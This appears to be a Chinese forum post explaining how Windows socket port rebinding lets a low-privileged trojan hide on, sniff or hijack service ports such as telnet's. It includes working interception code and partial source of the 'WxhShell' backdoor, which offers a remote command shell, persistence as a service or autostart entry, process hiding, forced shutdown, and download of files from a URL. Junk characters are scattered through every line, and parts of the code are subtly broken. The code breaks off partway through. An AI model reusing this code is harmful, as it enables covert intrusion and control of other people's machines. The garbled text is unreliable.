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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i#%!J:_=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e"cvo(}g  
M.K%;j`  
  saddr.sin_family = AF_INET; ;Dp<|n  
]p*Fq^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8Z>=sUMQ  
MI,kKi  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (/jZ &4T  
4Un%p7Y~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;3&HZq6Z (  
Gj&`+!\  
  这意味着什么?意味着可以进行如下的攻击: S\0?~l"}  
:+Tvq,/"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Xz!O}M{4  
\<%?=C'w~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) JgMYy,q8t  
P;K <P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Lnc>O'<5P9  
[!YSW'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  SquuK1P=  
-d *je{c |  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <xh";seL  
UF;iw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zXGi  
k3UKGP1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zh Vkn]z~*  
bG/[mZpRT  
  #include M,g$  
  #include N4u-tlA  
  #include cIg+^Tl  
  #include    lr9s`>9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   u&r+ylbs I  
  int main() O"emse}Z  
  { e VRjU  
  WORD wVersionRequested; Jj7he(!_1  
  DWORD ret; PDhoCAh !  
  WSADATA wsaData; I*0TI@Lo  
  BOOL val; *eAzk2  
  SOCKADDR_IN saddr; 6XI$ o,{  
  SOCKADDR_IN scaddr; B8NMo5a  
  int err; [ Mp8"  
  SOCKET s; c}mWAZ=wF  
  SOCKET sc; :tT6V(-W  
  int caddsize; 3>%:%bP  
  HANDLE mt; mH 9_HK.C  
  DWORD tid;   lO=~&_  
  wVersionRequested = MAKEWORD( 2, 2 ); h`pXUnEZ  
  err = WSAStartup( wVersionRequested, &wsaData ); iJ p E`  
  if ( err != 0 ) { _e$T'*q  
  printf("error!WSAStartup failed!\n"); .iZo/_  
  return -1; `Zd\d:Wyv  
  } 6.k>J{GG  
  saddr.sin_family = AF_INET; DwI X\9  
   KVp3 pUO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +t*Ks_V,*  
z<,-:=BC"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Qw.j  
  saddr.sin_port = htons(23); uol EX+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E\vW>g*W  
  { />dYkIv  
  printf("error!socket failed!\n"); xnPi'?A]  
  return -1; -P-&]F5  
  } -P We  
  val = TRUE; ,m1F<Pdts  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M6H#Y2!ZbC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,L$, d  
  { Y(6p&I  
  printf("error!setsockopt failed!\n"); >_SqM!^v  
  return -1; p>= b|Qy|  
  } ObSRd$M  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /Gvd5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hYSf;cG}A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ev9ltl{  
M7\yEi"*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Q$8K-5U%  
  { =k:yBswi  
  ret=GetLastError(); /Bp5^(s  
  printf("error!bind failed!\n"); @aUQy;  
  return -1; IRIYj(J  
  } i?B(I4a!G  
  listen(s,2); M&^Iun  
  while(1) MhZ\]CAs9  
  { N~+ e\K6  
  caddsize = sizeof(scaddr); 3h`_Qv%g  
  //接受连接请求 t>JPK_b0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ih^ziDcW  
  if(sc!=INVALID_SOCKET) Q<T+t0G\O-  
  { Uq^-km#a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L'r gCOJ<  
  if(mt==NULL) UB,:won  
  { a}[ 1*_G  
  printf("Thread Creat Failed!\n"); @k3xk1*  
  break; ]h?p3T$h  
  } N^%7  
  } u_jhmKr~  
  CloseHandle(mt); 4#lOAzDtv  
  } 4}Dfi5:   
  closesocket(s); pFcCe 'd"  
  WSACleanup(); DLd1Cl:"~:  
  return 0; H& !?c5  
  }   0{qe1pb w  
  DWORD WINAPI ClientThread(LPVOID lpParam) ZiaHLpk  
  { 0YO/G1O&  
  SOCKET ss = (SOCKET)lpParam; Sd+bnq%  
  SOCKET sc; ^]X\boWlI  
  unsigned char buf[4096]; ^!rAT1(/_  
  SOCKADDR_IN saddr; fzZ`O{$8  
  long num; ,dXJCX8so  
  DWORD val; "-R19SpJKh  
  DWORD ret; Eal*){"<,?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 T,/:5L9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >b2wFo/em  
  saddr.sin_family = AF_INET; U o[\1)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZK5 wZU  
  saddr.sin_port = htons(23); #D-Ttla  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HUalD3 \  
  { /q5!p0fH*  
  printf("error!socket failed!\n"); ;}}k*< Z  
  return -1; GS+Z(,J>=  
  } 74fE%;F  
  val = 100; QE+HL8c^s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L~{3W  
  { W]I+Rlv)U  
  ret = GetLastError(); $L W8 vo7  
  return -1; I6Ga'5bV  
  } W9:(P  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GD0Q`gWNe  
  { OE=.@Ry"  
  ret = GetLastError(); %/w%A:y#&  
  return -1; Ni>!b6 Z`[  
  } =fK6P6'B  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yR1v3D4E  
  { `Ha<t.v(  
  printf("error!socket connect failed!\n"); :: s k)  
  closesocket(sc); B3&C=*y  
  closesocket(ss); i,!tu  
  return -1; /~3kkM(Ty  
  } dfT  
  while(1) -lS(W^r4  
  { d~#:t~ $,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e#!p6+#"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Y3O/`-9i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X+QoO=02LR  
  num = recv(ss,buf,4096,0); ou=33}uO  
  if(num>0) 6cX Z3;a  
  send(sc,buf,num,0); DLPg0>;jl  
  else if(num==0) 6[Wv g  
  break; -{E S 36  
  num = recv(sc,buf,4096,0); cC]lO  
  if(num>0) IlZ$Jd  
  send(ss,buf,num,0); yOO@v6jO)  
  else if(num==0) Qv]>L4PO  
  break; X3m)  
  } @T%8EiV  
  closesocket(ss); t8.^YTI  
  closesocket(sc); x:+]^?}r  
  return 0 ; ZMGC@4^F  
  } mD7kOOMY  
,L\>mGw  
`#?]g!  
========================================================== ~z'Y(qG  
5%"sv+iO  
下边附上一个代码,,WXhSHELL ~cSE 9ul  
:"gu=u!  
========================================================== ufJHC06  
NUh+ &M  
#include "stdafx.h" !d&SVS^mo  
QBjvbWoIG(  
#include <stdio.h> BK1I_/_!  
#include <string.h> O+t'E9Fa  
#include <windows.h> Mp06A.j[  
#include <winsock2.h> ?@QcKQ@  
#include <winsvc.h> ~^l;~&  
#include <urlmon.h> x#fv<Cj4  
''}2JJU{  
#pragma comment (lib, "Ws2_32.lib") A'n{K#  
#pragma comment (lib, "urlmon.lib") WNSEc%  
J7wIA3.O  
#define MAX_USER   100 // 最大客户端连接数 o,'Fz?[T%  
#define BUF_SOCK   200 // sock buffer  CP Ju=  
#define KEY_BUFF   255 // 输入 buffer Va^(cnwa  
yC7lR#N8j0  
#define REBOOT     0   // 重启 u5tUm  
#define SHUTDOWN   1   // 关机 nnCz!:9p  
'^(qlCI  
#define DEF_PORT   5000 // 监听端口 D{6<,#P{w  
M=4`^.Ocm  
#define REG_LEN     16   // 注册表键长度 T!-ly7-`  
#define SVC_LEN     80   // NT服务名长度 w[#*f?at~  
3x>Y  
// 从dll定义API f1 `E-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JG@Zb}b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xn anca  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?N&s .  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1ezBn ZJg  
T3PwM2em_`  
// wxhshell配置信息 d?aZk-|c  
struct WSCFG { ,3W,M=j)  
  int ws_port;         // 监听端口  NG?g(  
  char ws_passstr[REG_LEN]; // 口令 =nv/ r  
  int ws_autoins;       // 安装标记, 1=yes 0=no \pXo~;E\  
  char ws_regname[REG_LEN]; // 注册表键名 *mn"G K6  
  char ws_svcname[REG_LEN]; // 服务名 P?Kg7m W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rN'}IS@5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3g5D[>J'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [X ]XH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]3uj~la  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6ipQx/IQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~-'-<-  
!J[!i"e  
}; 3\K;y>NK  
:VE0eJ]J6  
// default Wxhshell configuration );{76  
struct WSCFG wscfg={DEF_PORT, ;#=y5Q4  
    "xuhuanlingzhe", '`j MNKn\  
    1, OV`li#H  
    "Wxhshell", J:G{  
    "Wxhshell", W&7(  
            "WxhShell Service", goc; .~?  
    "Wrsky Windows CmdShell Service", eQ<G Nvm  
    "Please Input Your Password: ", .M0pb^M  
  1, T$Z}1e]  
  "http://www.wrsky.com/wxhshell.exe", GjbOc   
  "Wxhshell.exe" Kf`/ Gc!  
    }; [Xww`OUsh  
ynJ)6n7a  
// 消息定义模块 K;]Dh?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1z_1Hl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *S'?u_Y7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y w:=$e5  
char *msg_ws_ext="\n\rExit."; }>_  
char *msg_ws_end="\n\rQuit."; AJ z 1    
char *msg_ws_boot="\n\rReboot..."; i:H]Sb)<b  
char *msg_ws_poff="\n\rShutdown..."; x^McUfdr|  
char *msg_ws_down="\n\rSave to "; ol}}c6  
zIr4!|X  
char *msg_ws_err="\n\rErr!"; G6s3 \de#U  
char *msg_ws_ok="\n\rOK!"; |Rz}bsrZ  
#I#_gjJkx  
char ExeFile[MAX_PATH]; +1c[!;'  
int nUser = 0; H=9{|%iS  
HANDLE handles[MAX_USER]; 8F/zrPG  
int OsIsNt; |][PbN D  
3U*4E?g  
SERVICE_STATUS       serviceStatus; 0O(Vyy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (O/W`qo  
oSl}A,aQ(  
// 函数声明 8L[\(~Zf  
int Install(void); #4V->I  
int Uninstall(void); d}wE4(]b  
int DownloadFile(char *sURL, SOCKET wsh); EjP)e;  
int Boot(int flag); .2y @@g  
void HideProc(void); 9H2mA$2jnE  
int GetOsVer(void); t-SZBNb  
int Wxhshell(SOCKET wsl); H %ScrJ#V  
void TalkWithClient(void *cs); fC/P W`4Ae  
int CmdShell(SOCKET sock); ? 8)k6:  
int StartFromService(void); 'l3 DP  
int StartWxhshell(LPSTR lpCmdLine); HcpAp]L)  
TJ|do`fw>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >RrG&Wv59  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eWXR #g!%>  
 WfQZ7e  
// 数据结构和表定义 Fe2t[y:8h  
SERVICE_TABLE_ENTRY DispatchTable[] = <2wC)l3j*  
{ \b#`Ahf`  
{wscfg.ws_svcname, NTServiceMain}, DHuUEv<  
{NULL, NULL} Ym 2Ac>I4  
}; ()Q q7/  
IV%Rph>d  
// 自我安装 Gsy'':u  
int Install(void) ~SI G0U8  
{ i0~Af`v  
  char svExeFile[MAX_PATH]; +kq+x6&  
  HKEY key; fFXnD  
  strcpy(svExeFile,ExeFile); 9&s>RJ  
J 2k4k  
// 如果是win9x系统,修改注册表设为自启动 28j/K=0(  
if(!OsIsNt) { {uxTgX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I(j$^DA.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >|mZu)HIY;  
  RegCloseKey(key); 8Ep!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3teP6|K'g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xdMY2u  
  RegCloseKey(key); z7pw~Tqlz  
  return 0; eKRE1DK  
    } m14'u GC  
  } M3eFG@,  
} (/ -90u  
else { #Fkp6`Q$x  
S$4 6YQ  
// 如果是NT以上系统,安装为系统服务 1JV-X G6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K1p.{  
if (schSCManager!=0) I~nz~U:ak  
{ u[nLrEnD  
  SC_HANDLE schService = CreateService 4h T!DS  
  ( gOMy8w4>  
  schSCManager, LtV,djk  
  wscfg.ws_svcname, [EK@f,iM  
  wscfg.ws_svcdisp, *DvQnj  
  SERVICE_ALL_ACCESS, nuw7pEW@?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ql"~ z^L  
  SERVICE_AUTO_START, TY?O$d2b3  
  SERVICE_ERROR_NORMAL,  3CPSyF  
  svExeFile, Bve',.xH  
  NULL, ~.z82m  
  NULL, f<y3/jl4  
  NULL, szXqJG8|  
  NULL, x+v&3YF  
  NULL '=J|IN7WT  
  ); &ViK9  
  if (schService!=0) V7B%o:FZo  
  { iu2O/l# r  
  CloseServiceHandle(schService); l nJ  
  CloseServiceHandle(schSCManager); YD0j&@.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EA z>`~  
  strcat(svExeFile,wscfg.ws_svcname); m ;wj|@cF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y2R\SL,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3,J{!  
  RegCloseKey(key); R7c42L\QA  
  return 0; RFq=`/>dG  
    } X.ZG-TC  
  } i O$ ?No  
  CloseServiceHandle(schSCManager); [7  t  
} C8=rsh  
} /l8w b~vl  
l~[ K.p&  
return 1; 7^1K4%IPl  
} t0Inf [um  
|nU%H=Rs/  
// 自我卸载 t{`uN  
int Uninstall(void) Jgy6!qUn_  
{ B]  Koi1B  
  HKEY key; % .8(R &  
t| B<F t^  
if(!OsIsNt) { "V5_B^Gzb]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m8INgzVTC  
  RegDeleteValue(key,wscfg.ws_regname); - %?> 1n  
  RegCloseKey(key); w:](F^<s,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bAUYJPRpy  
  RegDeleteValue(key,wscfg.ws_regname); ,^jQBD4={  
  RegCloseKey(key); ,V''?@  
  return 0; E!`/XB/nA  
  } -V P_Aw$  
} %VE FruM  
} <3Rq!w/  
else { q(BRJ(  
;Mr Q1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \"$q=%vD  
if (schSCManager!=0) Sg13Dp @x  
{ TN/&^/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [ C!m,4  
  if (schService!=0) SQN{/")T  
  { WGo ryvEx  
  if(DeleteService(schService)!=0) { &E@mCQ1  
  CloseServiceHandle(schService); M >i *e  
  CloseServiceHandle(schSCManager); $4kbOqn4  
  return 0; .!'rI7Kz'i  
  } DLO#_t^v.  
  CloseServiceHandle(schService); |T-Y tuy8  
  } !Nbi&^k B  
  CloseServiceHandle(schSCManager); )=5*iWe  
} 8jiBLZkRf  
} J3'0^JP*  
)-1$y+s>  
return 1; iphdJZ/f  
} \2Kl]G(w%y  
TLg 9`UA  
// 从指定url下载文件 k1LbWR1%wB  
int DownloadFile(char *sURL, SOCKET wsh) d8WEsQ+)A  
{ r%LG>c`^  
  HRESULT hr; Ey_mK\'  
char seps[]= "/"; 5UQ[vHMqI  
char *token; lg@q} ]1  
char *file; K%SfTA1TCB  
char myURL[MAX_PATH]; T<RWz  
char myFILE[MAX_PATH]; Iapzhy2l  
>_X(rar0  
strcpy(myURL,sURL); wHQYBYKcd  
  token=strtok(myURL,seps); 7K!n'dAi6  
  while(token!=NULL) avqJ[R  
  { Xg}~\|n  
    file=token; @d|]BqQ4jh  
  token=strtok(NULL,seps); !DKl:8mx4  
  } Y1BxRd?D  
=g=Vv"B_  
GetCurrentDirectory(MAX_PATH,myFILE); eqpnh^0}d  
strcat(myFILE, "\\"); iT1HbAT]  
strcat(myFILE, file); w h^I|D?"  
  send(wsh,myFILE,strlen(myFILE),0); \d w["k  
send(wsh,"...",3,0); myB!\ WY   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :m("oC@}  
  if(hr==S_OK) `?T8NK  
return 0; sB01 QVx47  
else O^R ^Aw  
return 1; "azrcC  
O)r>AdLGn  
} i^/ H>E%u  
[U{RDX  
// 系统电源模块 P?y{ 9H*  
int Boot(int flag) S_Vquw(+  
{ eh3CVgH91;  
  HANDLE hToken; 11JO[  
  TOKEN_PRIVILEGES tkp; a0  w  
HGW;]8xl  
  if(OsIsNt) { {dV!sQD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >JN[5aus  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `=8G?3  
    tkp.PrivilegeCount = 1; U9RpHh`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jLBwPI_g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o5NrDDH  
if(flag==REBOOT) { E8We2T[^M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |U="B4  
  return 0; '9 <APUyu  
} ,q Bu5t  
else { uL@'Hv A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n\YWWW[wf  
  return 0; _\FA}d@N  
} 4$v08z Z  
  } 55`cNZ  
  else { /A`Ly p#  
if(flag==REBOOT) { sT"{ e7;F;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hfQ^C6yR  
  return 0; i(<do "Am<  
} fOO[`"'Pq  
else { f@IL2DL}\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %MN>b[z  
  return 0; LD}ZuCp!  
} {7o|*M  
} 3 jay V  
6.GIUM%D  
return 1; 3)qtz_,H/g  
} O7T wM Yh  
9=;ETLL "  
// win9x进程隐藏模块 jo=,j/,l  
void HideProc(void) XAc#ywophi  
{ xBMhk9b^0  
81U(*6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GvT'v0&+  
  if ( hKernel != NULL ) _ ;_NM5  
  { $+a2CZs!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z(-@8=0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HzF]hm,  
    FreeLibrary(hKernel); tr\}lfK%  
  } l=< :  
*1;}c z  
return; [.`#N1-@M  
} nA^UF_rD-  
B^uQv|m  
// 获取操作系统版本 AW:WDNQh8n  
int GetOsVer(void) 9:l>FoXS  
{ d.uJ}=|  
  OSVERSIONINFO winfo; w">p 8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u4[3JI>  
  GetVersionEx(&winfo); &llp*< i7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nr<&j#!L  
  return 1; 38T2IN  
  else `7zNVYur8  
  return 0; v-@xO&<  
} f ^f{tOX  
D0=H&Z[  
// 客户端句柄模块 Ni[2 p  
int Wxhshell(SOCKET wsl) k;pTOj  
{ g^DPb pWxu  
  SOCKET wsh; v='h  
  struct sockaddr_in client; 'WG%O7s.  
  DWORD myID; @OlV6M;qJ  
uiIY,FL$  
  while(nUser<MAX_USER) D-BWgK  
{ n1xN:A  
  int nSize=sizeof(client); xA9{o+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fN TPW]  
  if(wsh==INVALID_SOCKET) return 1; W=Ru?sG=  
T)ra>r<#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^\uj&K6l  
if(handles[nUser]==0) =%YU~  
  closesocket(wsh); q|. X[~e|  
else KS/1ux4x  
  nUser++; MKYXYR  
  } F$FCfP7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b:nHcxDU<  
E,nC}f  
  return 0; :*"0o{ ie  
} ~'e/lX9g-  
6t|FuTC  
// 关闭 socket H|H!VPof]  
void CloseIt(SOCKET wsh) Kd _tjWS  
{ 7  Znr2I  
closesocket(wsh); uJ4RjLM`  
nUser--; E3\O?+ h#  
ExitThread(0); )IGE2k|  
} mB.kV Ve0  
+1 H.5|  
// 客户端请求句柄 WKFmU0RK  
void TalkWithClient(void *cs) }MDuQP]  
{ 8Vj]whE  
m?G}%u  
  SOCKET wsh=(SOCKET)cs; xr) Rx{)3h  
  char pwd[SVC_LEN]; DT_HG|  
  char cmd[KEY_BUFF]; 1\q2;5  
char chr[1]; jZcjiOX  
int i,j; ` RUr/|S  
=j 6amk-  
  while (nUser < MAX_USER) { )FM/^  
z)'dDM D"  
if(wscfg.ws_passstr) { xNTO59Y-s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g83!il\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?w1_.m|8u  
  //ZeroMemory(pwd,KEY_BUFF); AA9OElCa  
      i=0; Z'PE^ ,  
  while(i<SVC_LEN) { }'dnL  
LMWcF'l  
  // 设置超时 >De\2gbJ  
  fd_set FdRead; 4w^B&e%  
  struct timeval TimeOut; ^9o;=!D!9  
  FD_ZERO(&FdRead); Zr_{Z@IpU  
  FD_SET(wsh,&FdRead); 2As 4}  
  TimeOut.tv_sec=8; *plsZ*Q8  
  TimeOut.tv_usec=0; p%CAicn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 34 W#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Qw.""MLmN8  
%-|Po:6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xvm.Un< N  
  pwd=chr[0]; WS@b3zzN  
  if(chr[0]==0xd || chr[0]==0xa) { "g\  
  pwd=0; kssS,Ogf\_  
  break; }%[TJ@R;  
  } D Y($  
  i++; Y4}!9x  
    } [a\:K2*'  
9j:t}HV  
  // 如果是非法用户,关闭 socket C<2vuZD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [kgT"?w=  
} ;14[)t$  
IP$^)t[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D,dmlv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #O z<<G<  
,:G.V  
while(1) { ~qLbyzHaB  
Gk*Mx6|N  
  ZeroMemory(cmd,KEY_BUFF); LC K   
*nluK  
      // 自动支持客户端 telnet标准   HQK%Y2S  
  j=0; b~  
  while(j<KEY_BUFF) { .GM&]Hb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K_oBSa`  
  cmd[j]=chr[0]; JSt%L|}Y  
  if(chr[0]==0xa || chr[0]==0xd) { R:x4j#(  
  cmd[j]=0; QKYIBX  
  break; K5z*DYT  
  } g4&zBn  
  j++; c~b[_J)  
    } K& <|94_k  
>5#`j+8=q  
  // 下载文件 [Oe$E5qv)]  
  if(strstr(cmd,"http://")) { ++F #Z(p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HlBw:D(z:^  
  if(DownloadFile(cmd,wsh)) OljUK,I]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xz4!#,z/  
  else ~4'e)g.hG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '0GCaL*Sd  
  } bv5,Yk  
  else { oU% rP  
I1BVqIt1i  
    switch(cmd[0]) { nV,qC .z  
  \eH~1@\S  
  // 帮助 _W/s=pCh  
  case '?': { Yvs)H'n=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9xyj,;P>  
    break; |3/=dG  
  } y/h~oGxy  
  // 安装 3_~V(a  
  case 'i': { kq8:h  
    if(Install()) Yw"o_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Z)e]4{!l  
    else %N7b XKDP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d5fnJ*a>l  
    break; (BEGt '7  
    } d+rrb>-OU  
  // 卸载 _(5SiK R  
  case 'r': { *r@7:a5  
    if(Uninstall()) wUW^ O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cKdn3 2Y4  
    else E?z3 D*U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  gPh;  
    break; ynvU$}w ~'  
    } ri1D*CS  
  // 显示 wxhshell 所在路径 5,})x]'x  
  case 'p': { ? [l[y$9  
    char svExeFile[MAX_PATH]; R2vT\ 6xv  
    strcpy(svExeFile,"\n\r"); d&4 ve Lu  
      strcat(svExeFile,ExeFile); NQz*P.q  
        send(wsh,svExeFile,strlen(svExeFile),0); 4='Xhm  
    break; _VGAh:v  
    } d00#;R  
  // 重启 U>w#`Sy[  
  case 'b': { ?;zu>4f|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6=U81  
    if(Boot(REBOOT)) px8988X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;>np2K<`  
    else { `ltc)$  
    closesocket(wsh); 1DgR V7  
    ExitThread(0); U$v|c%6  
    } #%N v\ g;  
    break; G d~ v _  
    } Swz{5 J2C  
  // 关机 WfpQ   
  case 'd': { FlGU1%]m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g xY6M4  
    if(Boot(SHUTDOWN)) ,`PC^`0c}o  
